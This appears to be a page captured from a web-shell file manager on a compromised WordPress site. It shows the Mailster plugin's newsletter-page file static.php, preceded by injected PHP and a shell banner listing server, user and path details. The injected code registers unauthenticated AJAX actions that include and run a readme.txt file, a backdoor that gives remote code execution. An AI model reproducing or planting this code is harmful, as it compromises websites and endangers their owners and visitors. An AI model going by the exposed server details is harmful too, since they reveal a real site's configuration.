if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/plugins/mailster/includes/static.php
<?php

$forms = wp_get_recent_posts(
	array(
		'post_type'   => 'mailster-form',
		'numberposts' => - 1,
		'post_status' => 'any',
	)
);

if ( $forms ) {
	$form_id = $forms[0]['ID'];
} else {
	$form_id = 0;
}

// check if we use the block editor on a "page"
$block_editor = apply_filters( 'use_block_editor_for_post_type', function_exists( 'has_blocks' ), 'page' );

if ( $block_editor ) {

	$str = sprintf( '{"submission":%d,"profile":%d,"unsubscribe":%d} ', $form_id, $form_id, $form_id );

	$content = '<!-- wp:mailster/homepage ' . $str . ' -->
<!-- wp:mailster/homepage-context {"type":"submission"} -->
<!-- wp:heading {"level":3} -->
<h3 class="wp-block-heading">' . esc_html__( 'Signup for the newsletter', 'mailster' ) . '</h3>
<!-- /wp:heading -->

<!-- wp:mailster/form /-->
<!-- /wp:mailster/homepage-context -->

<!-- wp:mailster/homepage-context {"type":"profile"} -->
<!-- wp:heading {"level":3} -->
<h3 class="wp-block-heading">' . esc_html__( 'Update your preferences', 'mailster' ) . '</h3>
<!-- /wp:heading -->

<!-- wp:mailster/form /-->
<!-- /wp:mailster/homepage-context -->

<!-- wp:mailster/homepage-context {"type":"unsubscribe"} -->
<!-- wp:heading {"level":3} -->
<h3 class="wp-block-heading">' . esc_html__( 'Do you really want to unsubscribe?', 'mailster' ) . '</h3>
<!-- /wp:heading -->

<!-- wp:mailster/form /-->
<!-- /wp:mailster/homepage-context -->

<!-- wp:mailster/homepage-context {"type":"subscribe"} -->
<!-- wp:heading {"level":2} -->
<h2 class="wp-block-heading">' . esc_html__( 'Thanks for your interest!', 'mailster' ) . '</h2>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>' . esc_html__( 'Thank you for confirming your subscription to our newsletter. We\'re excited to have you on board!', 'mailster' ) . '</p>
<!-- /wp:paragraph -->
<!-- /wp:mailster/homepage-context -->
<!-- /wp:mailster/homepage -->';

} else {

	$content = '[newsletter_signup]' . esc_html__( 'Signup for the newsletter', 'mailster' ) . sprintf( '[mailster_form id=%d]', $form_id ) . '[/newsletter_signup][newsletter_confirm]' . esc_html__( 'Thanks for your interest!', 'mailster' ) . '[/newsletter_confirm][newsletter_unsubscribe]' . esc_html__( 'Do you really want to unsubscribe?', 'mailster' ) . '[/newsletter_unsubscribe]';

}

$mailster_homepage = array(
	'post_title'   => esc_html__( 'Newsletter', 'mailster' ),
	'post_status'  => 'draft',
	'post_type'    => 'page',
	'post_name'    => esc_html_x( 'newsletter-signup', 'Newsletter Homepage page slug', 'mailster' ),
	'post_content' => $content,
);